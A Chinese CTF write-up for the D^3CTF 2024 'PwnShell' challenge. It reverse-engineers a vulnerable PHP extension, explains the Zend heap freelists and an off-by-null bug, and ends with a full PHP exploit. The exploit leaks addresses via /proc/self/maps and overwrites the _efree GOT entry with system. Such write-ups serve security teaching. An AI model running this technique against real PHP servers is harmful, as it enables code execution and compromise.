PHP pwn 学习 (2)

文章目录

  • [A. 逆向分析](#A. 逆向分析)
  • [A.4 漏洞挖掘](#A.4 漏洞挖掘)
  • [B. 漏洞利用](#B. 漏洞利用)
    • [B.1 PHP调试](#B.1 PHP调试)
    • [B.2 exp](#B.2 exp)

上一篇blog中,我们学习了一些PHP extension for C的基本内容,下面结合一道题来进行分析,同时学习一些题目中会涉及的新内容。

题目示例:2024 D^3CTF PwnShell

A. 逆向分析

该题是一道典型的PHP pwn,题目中给出了一个简单的PHP文件上传脚本,我们可以上传PHP文件然后远程执行,调用有漏洞的C库,最后通过反弹shell进行RCE。

这里我们使用的逆向分析引擎为Ghidra。

A.1 基本数据获取

在上一篇blog中,我们提到,一个PHP扩展必然存在一个_zend_module_entry结构,用于保存该扩展的基本信息。我们可以在Ghidra中定义下面的结构,其中函数指针以void*代替。随后,可以在0x104080找到vuln_module_entry,从数据大小和变量名来看应该就是我们要找的_zend_module_entry。进行数据类型转换后如下所示。

c 复制代码
struct _zend_module_entry {
	unsigned short size;
	unsigned int zend_api;
	unsigned char zend_debug;
	unsigned char zts;
	const struct _zend_ini_entry *ini_entry;
	const struct _zend_module_dep *deps;
	const char *name;
	const struct _zend_function_entry *functions;
	zend_result (*module_startup_func)(INIT_FUNC_ARGS);
	zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
	zend_result (*request_startup_func)(INIT_FUNC_ARGS);
	zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
	void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
	const char *version;
	size_t globals_size;
#ifdef ZTS
	ts_rsrc_id* globals_id_ptr;
#else
	void* globals_ptr;
#endif
	void (*globals_ctor)(void *global);
	void (*globals_dtor)(void *global);
	zend_result (*post_deactivate_func)(void);
	int module_started;
	unsigned char type;
	void *handle;
	int module_number;
	const char *build_id;
};

由此可以获取一些基本信息,包括扩展的名字vuln、版本0.1.0等。

随后,我们定义_zend_function_entry结构,找到vuln_module_entry并设置其数据类型,如下图所示,可以看到,扩展一共定义了4个函数可供调用。

随后,定义表示参数类型的数据结构,得到这些函数的参数信息,如下图所示。

可以获取这些函数的原型:

c 复制代码
void zif_addHacker(undef name, undef fill);
void zif_removeHacker(undef idx);
string zif_displayHacker(undef idx);
void zif_editHacker(undef idx, undef content);

A.2 函数逆向

下面,我们分析一下库中定义的函数。

zif_addHacker

反汇编结果如下图所示。

在这里,C语言解析参数的方式与上一篇blog中描述的不同。这里是使用zend_parse_parameters进行解析。这种解析方式更加直观。

zend_parse_parameters可传入不固定数量的参数,一般用于一次性解析所有参数:

c 复制代码
int zend_parse_parameters(int num_args, char *type_spec, ...);

第一个参数为参数数量,第二个参数为参数解析格式。根据PHP源代码文档,type_spec参数的格式如下:

复制代码
对于一个参数,可以使用一个字符序列表示该参数的解析规则。在后面的变长参数中,需要顺序传入参数保存值的引用值。

PHP使用一个字母表示参数应该被解析为什么类型。具体的对应关系如下:

a  - array (zval*)
A  - array or object (zval*)
b  - boolean (zend_bool)
C  - class (zend_class_entry*)
d  - double (double)
f  - function or array containing php method call info (returned as
     zend_fcall_info and zend_fcall_info_cache)
h  - array (returned as HashTable*)
H  - array or HASH_OF(object) (returned as HashTable*)
l  - long (zend_long)
n  - long or double (zval*)
o  - object of any type (zval*)
O  - object of specific type given by class entry (zval*, zend_class_entry)
p  - valid path (string without null bytes in the middle) and its length (char*, size_t)
P  - valid path (string without null bytes in the middle) as zend_string (zend_string*)
r  - resource (zval*)
s  - string (with possible null bytes) and its length (char*, size_t)
S  - string (with possible null bytes) as zend_string (zend_string*)
z  - the actual zval (zval*)
*  - variable arguments list (0 or more)
+  - variable arguments list (1 or more)

还可以使用下面3个符号:

|  - 放在上面字母的前面表示参数的解析规则为可选参数,其应该被初始化为默认值,以防止PHP代码没有传入该参数。
/  - 对其所跟的参数调用 SEPARATE_ZVAL()。 
!  - 所跟的参数可以为指定类型或 NULL。如果传入 NULL 且输出类型为指针,则输出的 C 语言指针为 NULL。对于类型 'b'、'l'、'd',一个额外的 zend_bool* 类型需要在对应的 bool*、zend_long*、double* 后被传入。如果传入 PHP NULL 则一个非0值将会被写到 zend_bool 中。

具体的示例参见PHP文档,已保存到网站本地。

在定义了必要的数据结构之后,可以完成对该函数的反汇编,重定义数据类型与命名后,结果如下所示。

下面是推断出的本地定义的数据结构:

c 复制代码
struct hacker_entry {
    char* name;
    size_t name_len;
    char[] fill;
};

struct chunklist_entry {
    struct hacker_entry* hacker;
    int islast;
};

这里没有定义zend_string,偏移0x10表示字符串长度,0x18表示字符串指针。

需要注意的是,结构体hacker_entry的最后一个字段的数组长度未知,又因为没有对fill参数的长度进行判断,因此可能存在堆内存溢出漏洞。我们需要分析内存分配函数_emalloc以明确溢出的具体信息。

查阅PHP源代码发现,_emalloc是PHP自己实现的一个内存分配函数,即PHP默认不使用外部库(如glibc)进行内存分配。当然在C语言编写的扩展中使用glibc也是完全允许的。这部分代码分析在我们将4个扩展内函数逆向完成后再进行。

zif_removeHacker

zif_displayHacker

这个函数只返回了之前传入的Hacker名,而不会返回fill。

zif_editHacker

这里只是修改了Hacker的名字,没有改变fill。

由上面的分析可知,本题的漏洞点应该就在fill字段的处理上。我们需要理解PHP的内存分配系统原理,以尝试通过这个溢出实现get shell。

A.3 PHP 内存分配

_emalloc函数是PHP自定义的内存分配系统的分配入口点:

c 复制代码
// /Zend/zend_alloc.c, line 2534

ZEND_API void* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_CUSTOM
	if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
		return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
	}
#endif
	return zend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}

这里有一个默认为真的宏定义,它将分配过程拆分为两个分支。首先来看默认分支,即_malloc_custom

c 复制代码
// /Zend/zend_alloc.c, line 2414

static ZEND_COLD void* ZEND_FASTCALL _malloc_custom(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
	if (ZEND_DEBUG && AG(mm_heap)->use_custom_heap == ZEND_MM_CUSTOM_HEAP_DEBUG) {
		return AG(mm_heap)->custom_heap.debug._malloc(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
	} else {
		return AG(mm_heap)->custom_heap.std._malloc(size);
	}
}

// /Zend/zend_alloc.c, line 2356

typedef struct _zend_alloc_globals {
    zend_mm_heap *mm_heap;
} zend_alloc_globals;

#ifdef ZTS
static int alloc_globals_id;
static size_t alloc_globals_offset;
# define AG(v) ZEND_TSRMG_FAST(alloc_globals_offset, zend_alloc_globals *, v)
#else
# define AG(v) (alloc_globals.v)
static zend_alloc_globals alloc_globals;
#endif

由此可以找到PHP堆的全局定义结构如下:

c 复制代码
struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
	int                use_custom_heap;
#endif
#if ZEND_MM_STORAGE
	zend_mm_storage   *storage;
#endif
#if ZEND_MM_STAT
	size_t             size;                    /* current memory usage */
	size_t             peak;                    /* peak memory usage */
#endif
	zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMIT
	size_t             real_size;               /* current size of allocated pages */
#endif
#if ZEND_MM_STAT
	size_t             real_peak;               /* peak size of allocated pages */
#endif
#if ZEND_MM_LIMIT
	size_t             limit;                   /* memory limit */
	int                overflow;                /* memory overflow flag */
#endif

	zend_mm_huge_list *huge_list;               /* list of huge allocated blocks */

	zend_mm_chunk     *main_chunk;
	zend_mm_chunk     *cached_chunks;			/* list of unused chunks */
	int                chunks_count;			/* number of allocated chunks */
	int                peak_chunks_count;		/* peak number of allocated chunks for current request */
	int                cached_chunks_count;		/* number of cached chunks */
	double             avg_chunks_count;		/* average number of chunks allocated per request */
	int                last_chunks_delete_boundary; /* number of chunks after last deletion */
	int                last_chunks_delete_count;    /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOM
	union {
		struct {
			void      *(*_malloc)(size_t);
			void       (*_free)(void*);
			void      *(*_realloc)(void*, size_t);
		} std;
		struct {
			void      *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
			void       (*_free)(void*  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
			void      *(*_realloc)(void*, size_t  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
		} debug;
	} custom_heap;
	HashTable *tracked_allocs;
#endif
};

可以看到,自定义堆分配实际上就是自定义堆分配、释放与重新分配的函数。在全局结构构造函数alloc_globals_ctor (/Zend/zend_alloc.c, line 2798)中,实际上是将函数指针处初始化为__zend_malloc__zend_malloc直接调用libc的malloc函数。因此自定义内存分配时默认使用libc库的内存分配函数。

下面再看到另一个分支。

c 复制代码
// /Zend/zend_alloc.c, line 1311

static zend_always_inline void *zend_mm_alloc_heap(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
	void *ptr;
#if ZEND_DEBUG
	...
#endif
	if (EXPECTED(size <= ZEND_MM_MAX_SMALL_SIZE)) {
		ptr = zend_mm_alloc_small(heap, ZEND_MM_SMALL_SIZE_TO_BIN(size) ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG
    ...
#endif
		return ptr;
	} else if (EXPECTED(size <= ZEND_MM_MAX_LARGE_SIZE)) {
		ptr = zend_mm_alloc_large(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#if ZEND_DEBUG
    ...
#endif
		return ptr;
	} else {
#if ZEND_DEBUG
	...
#endif
		return zend_mm_alloc_huge(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
	}
}

可以看到,这里根据分配需求的大小将调用不同的3个函数,其中ZEND_MM_MAX_SMALL_SIZE为3072,ZEND_MM_MAX_LARGE_SIZE为2MB-4KB。对于题目而言,要分配的大小基本都小于3072。需要注意的是,在函数调用中使用了ZEND_MM_SMALL_SIZE_TO_BIN宏定义,可以理解为:PHP内部使用30个链表保存以释放的小chunk,每个链表中保存一个大小范围内的chunk,这与musl libc有类似之处。

c 复制代码
// /Zend/zend_alloc.c, line 1157

static zend_always_inline int zend_mm_small_size_to_bin(size_t size)
{
#if 0
	int n;
                            /*0,  1,  2,  3,  4,  5,  6,  7,  8,  9  10, 11, 12*/
	static const int f1[] = { 3,  3,  3,  3,  3,  3,  3,  4,  5,  6,  7,  8,  9};
	static const int f2[] = { 0,  0,  0,  0,  0,  0,  0,  4,  8, 12, 16, 20, 24};

	if (UNEXPECTED(size <= 2)) return 0;
	n = zend_mm_small_size_to_bit(size - 1);
	return ((size-1) >> f1[n]) + f2[n];
#else
	unsigned int t1, t2;

	if (size <= 64) {
		/* we need to support size == 0 ... */
		return (size - !!size) >> 3;
	} else {
		t1 = size - 1;
		t2 = zend_mm_small_size_to_bit(t1) - 3;
		t1 = t1 >> t2;
		t2 = t2 - 3;
		t2 = t2 << 2;
		return (int)(t1 + t2);
	}
#endif
}

#define ZEND_MM_SMALL_SIZE_TO_BIN(size)  zend_mm_small_size_to_bin(size)

// /Zend/zend_alloc.c, line 1125

/* higher set bit number (0->N/A, 1->1, 2->2, 4->3, 8->4, 127->7, 128->8 etc) */
static zend_always_inline int zend_mm_small_size_to_bit(int size)
    {
#if (defined(__GNUC__) || __has_builtin(__builtin_clz))  && defined(PHP_HAVE_BUILTIN_CLZ)
    return (__builtin_clz(size) ^ 0x1f) + 1;
#elif defined(_WIN32)
    unsigned long index;

    if (!BitScanReverse(&index, (unsigned long)size)) {
    /* undefined behavior */
    return 64;
    }

    return (((31 - (int)index) ^ 0x1f) + 1);
#else
    int n = 16;
    if (size <= 0x00ff) {n -= 8; size = size << 8;}
    if (size <= 0x0fff) {n -= 4; size = size << 4;}
    if (size <= 0x3fff) {n -= 2; size = size << 2;}
    if (size <= 0x7fff) {n -= 1;}
    return n;
#endif
}

这一段主要是将用户请求的大小转换为对应的freelist索引值。

c 复制代码
// /Zend/zend_alloc.c, line 324

#define _BIN_DATA_SIZE(num, size, elements, pages, x, y) size,
static const uint32_t bin_data_size[] = {
	ZEND_MM_BINS_INFO(_BIN_DATA_SIZE, x, y)
};

// /Zend/zend_alloc_sizes.h, line 31

/* num, size, count, pages */
#define ZEND_MM_BINS_INFO(_, x, y) \
	_( 0,    8,  512, 1, x, y) \
	_( 1,   16,  256, 1, x, y) \
	_( 2,   24,  170, 1, x, y) \
	_( 3,   32,  128, 1, x, y) \
	_( 4,   40,  102, 1, x, y) \
	_( 5,   48,   85, 1, x, y) \
	_( 6,   56,   73, 1, x, y) \
	_( 7,   64,   64, 1, x, y) \
	_( 8,   80,   51, 1, x, y) \
	_( 9,   96,   42, 1, x, y) \
	_(10,  112,   36, 1, x, y) \
	_(11,  128,   32, 1, x, y) \
	_(12,  160,   25, 1, x, y) \
	_(13,  192,   21, 1, x, y) \
	_(14,  224,   18, 1, x, y) \
	_(15,  256,   16, 1, x, y) \
	_(16,  320,   64, 5, x, y) \
	_(17,  384,   32, 3, x, y) \
	_(18,  448,    9, 1, x, y) \
	_(19,  512,    8, 1, x, y) \
	_(20,  640,   32, 5, x, y) \
	_(21,  768,   16, 3, x, y) \
	_(22,  896,    9, 2, x, y) \
	_(23, 1024,    8, 2, x, y) \
	_(24, 1280,   16, 5, x, y) \
	_(25, 1536,    8, 3, x, y) \
	_(26, 1792,   16, 7, x, y) \
	_(27, 2048,    8, 4, x, y) \
	_(28, 2560,    8, 5, x, y) \
	_(29, 3072,    4, 3, x, y)

从上面的定义可以获取30个freelist对应的chunk大小。可以看到,PHP在分配这部分内存时是以页为最小单位整个分配的,如对于大小为8的chunk,在初次分配时,应该是分配一整页4KB,随后将这一页拆分为512个8B大小的chunk来使用。

下面重点关注一下zend_mm_alloc_small

c 复制代码
// /Zend/zend_alloc.c, line 1243

static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
    #if ZEND_MM_STAT
    do {
        size_t size = heap->size + bin_data_size[bin_num];
        size_t peak = MAX(heap->peak, size);
        heap->size = size;
        heap->peak = peak;
    } while (0);
    #endif
    
    if (EXPECTED(heap->free_slot[bin_num] != NULL)) {
        zend_mm_free_slot *p = heap->free_slot[bin_num];
        heap->free_slot[bin_num] = p->next_free_slot;
        return p;
    } else {
        return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
    }
}

忽略宏定义中的内容,看下面的部分。首先会检查对应的freelist链表是否存在已经释放的chunk,如果有,则使用链表的第一个chunk作为返回值。否则会调用zend_mm_alloc_small_slow另外分配内存。

c 复制代码
// /Zend/zend_alloc.c, line 1187

static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
	zend_mm_chunk *chunk;
	int page_num;
	zend_mm_bin *bin;
	zend_mm_free_slot *p, *end;

#if ZEND_DEBUG
	...
#else
	bin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
#endif
	if (UNEXPECTED(bin == NULL)) {
		/* insufficient memory */
		return NULL;
	}

	chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);
	page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;
	chunk->map[page_num] = ZEND_MM_SRUN(bin_num);
	if (bin_pages[bin_num] > 1) {
		uint32_t i = 1;

		do {
			chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);
			i++;
		} while (i < bin_pages[bin_num]);
	}

	/* create a linked list of elements from 1 to last */
	end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));
	heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);
	do {
		p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
#if ZEND_DEBUG
		...
#endif
		p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
	} while (p != end);

	/* terminate list using NULL */
	p->next_free_slot = NULL;
#if ZEND_DEBUG
    ...
#endif

	/* return first element */
	return bin;
}

在这个函数中,我们可以清晰地看到,zend_mm_alloc_pages之后,PHP构造了包含所有新分配的chunk的链表并放在freelist链表头部。即freelist链表不仅包含被释放的chunk,也有未被分配的chunk。最后返回其中的第一个chunk。

而对于chunk的释放,则非常简单,直接将该chunk放到对应freelist的头部即可。在分配与释放过程中,没有进行任何的安全检查,因此一旦出现堆相关漏洞,常常可以大做文章。

A.4 漏洞挖掘

从上面的分析来看,内存分配与释放均需要一个参数,但Ghidra没有识别出来,将参数添加后发现,先前发现的可能的溢出漏洞实际上并不存在,hacker_entry的最后一个字段实际上是一个不定长数组,在实际分配内存时会根据传入的字符串长度确定chunk大小。

那么,这道题的漏洞点又在何处?需要注意zif_displayHackerzif_addHacker函数,在memcpy之后,有一个在字符串尾部添加\0的操作,这实际上是off by null。

由于freed chunk将链表指针放在chunk首部,chunk与chunk之间没有任何分隔,因此off by null有机会修改链表指针的值。将该指针的值修改为一个chunk A内部的地址,这样可以通过chunk A的重写完全覆盖chunk A后面的chunk B的链表指针。本题的so文件没有使用FULL RELRO安全保护,因此可以完成覆盖GOT表的操作,后面的内容就不用多说了。

B. 漏洞利用

明确漏洞后,接下来就是考虑如何利用该漏洞。本题中我们可以完成PHP文件上传,因此直接将exp PHP文件上传后通过网址执行即可。

不过在php.ini中,题目定义了很多禁用的函数,保存在disable_function中。在实际编写PHP脚本时,需要注意不要使用这里提到的函数。

在本题中,我们可以通过读取/proc/self/maps的方法获取PHP进程的libc基地址以及堆内存的基地址。但我们并不能直接通过fopen函数打开文件,这主要是防止我们直接去读取flag文件。不过,PHP功能强大,我们还是能够找到读取/proc/self/maps的方法。flag文件在普通权限下无法读取,但/proc/self/maps可以读取。

zend_mm_alloc_small_slow中可以看到,初次分配的单向链表是低地址的chunk在头部,高地址的chunk在尾部。因此我们可以首先分配几个相同大小的chunk,随后按照从高到低的顺序释放。

需要注意的是,PHP不允许运行在其他版本下构建的C扩展,在API确认可用的情况下,可以通过修改module_entry中的zend_apibuild_id中的版本信息使其在不同PHP版本下运行。

在解题过程中,通过gdb调试能够加快进度,此类PHP pwn的调试方法参考资料完成。下面演示一下调试流程。

B.1 PHP调试

在docker中安装gdbserver后,运行

shell 复制代码
gdbserver :1234 php -S 0:8080 index.php

使gdbserver监听本地1234端口,PHP监听本地8080端口。访问8080端口即相当于执行php index.php。随后多次使用n命令。遇到的第一个call指令调用后,将加载PHP运行过程中需要的所有动态链接库(不含C扩展),进入_start后会进入_libc_start_main,在一条call rax指令执行后进入监听状态,同时会显示加载C扩展情况,如下面两图所示。

在vuln.so中打下断点后,访问8080端口,即可让gdb断在想要的地方。

下面是PHP中的_emalloc函数:

这其中内联了zend_mm_alloc_small函数,一直跟进理解代码语义,我们能够找到堆的freelist结构:

可以看到,这里的freelist中低地址的chunk位于链表的前面。因此有下面的漏洞利用思路,即想办法构造一个地址最后1字节为'\x00'的fake pointer指向free.got,随后在同一个freelist中通过off by null将这个fake pointer链入这个freelist中。如下图所示。

这里解释一下使用0x70 chunk freelist的原因。在整个漏洞利用过程中,首先需要一个能够写入0x...00这种地址的chunk A,随后需要一个chunk B完成off by null,破坏后面的chunk C的指针。原先chunk C的指针指向chunk D,且chunk D地址除了最低字节外其他字节应该与chunk A写入的地址相同。在0x70 chunk freelist中,可以利用0x2a0、0x310、0x380、0x3f0这4个chunk,即0x2a0写入0x300为free.got,0x310完成off by null,将0x380处由0x3f0改为0x300,这样就可以完成指针伪造,并最终能够成功分配到首地址为0x300的chunk。

B.2 exp

php 复制代码
<?php

$libc_base = 0;
$vuln_so_base = 0;
$efree_got = 0x4038;
$system_off = 0x45e90;
$map_file = "/proc/self/map";

function get_so_base($buffer)
{
    global $libc_base;
    global $vuln_so_base;
    $libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2\.31\.so/";
    $vuln_so_line_regex =
        "/([0-9a-f]+)-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-[0-9]+\/vuln\.so/";
    if (preg_match_all($libc_line_regex, $buffer, $matches))
        $libc_base = hexdec($matches[1][0]);
    else
        echo "Failed to get libc base";
    if (preg_match_all($vuln_so_line_regex, $buffer, $matches))
        $vuln_so_base = hexdec($matches[1][0]);
    else
        echo "Failed to get vuln.so base";
}

function p64($value): string
{
    $ret = "";
    for ($i = 0; $i < 8; $i++) {
        echo $ret & 0xFF . "<br>";
        $ret .= pack('C', $value & 0xFF);
        $value >>= 8;
    }
    return $ret;
}

// open a buffer and read the content of /proc/self/maps
ob_start();
include "/proc/self/maps";
$buffer = ob_get_contents();
ob_end_flush();
get_so_base($buffer);
$efree_got += $vuln_so_base;

echo "libc base address: " . dechex($libc_base) . "\n<br>";
echo "vuln.so base address: " . dechex($vuln_so_base) . "\n<br>";
echo "_efree.got: " . dechex($efree_got) . "\n<br>";

addHacker(str_repeat("a", 0x40), str_repeat("b", 0x5f));
addHacker("echo \"success\"\x00" . str_repeat("a", 0x70-15), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x70), str_repeat("b", 0x5f));
addHacker(str_repeat("a", 0x40), str_repeat("x", 0x50) . p64($efree_got));  // 0x2A0
addHacker(str_repeat("a", 0x40), str_repeat("!", 0x60));                    // 0x310, off by null
addHacker(str_repeat("a", 0x70), str_repeat("x", 0x5f));
addHacker(p64($libc_base + $system_off) . str_repeat("a", 0x67), str_repeat("a", 0x38));
removeHacker(1);

成功利用,效果如下,这里仅显示在本地执行命令的结果。如果无法成功利用,可能是PHP环境问题,根据freelist状态调整冗余chunk的分配数量即可。

相关推荐
2401_8685347831 分钟前
防火墙的具体概念
服务器·网络·php
withoutfear1 小时前
Fastadmin中获取IP和手机号归属地信息
php·thinkphp·fastadmin·ip归属地·手机号归属地
dog2501 小时前
从扩张性看 AWS RNG 为何优于传统胖树
云计算·php·aws
chushiyunen2 小时前
php包管理工具composer笔记
笔记·php·composer
chushiyunen2 小时前
php笔记、下载安装等
开发语言·笔记·php
Johnstons2 小时前
如何精确模拟网络丢包进行测试?实测指南
开发语言·网络·php·网络测试·网络损伤·弱网模拟
catchadmin18 小时前
PHP 应用 security.txt 漏洞披露实践
开发语言·php
CaliXz1 天前
iOS图标边缘效果问题及解决方法
php·composer
炸炸鱼.1 天前
Zabbix企业级高级应用:从自动化监控到自定义告警完全指南
开发语言·php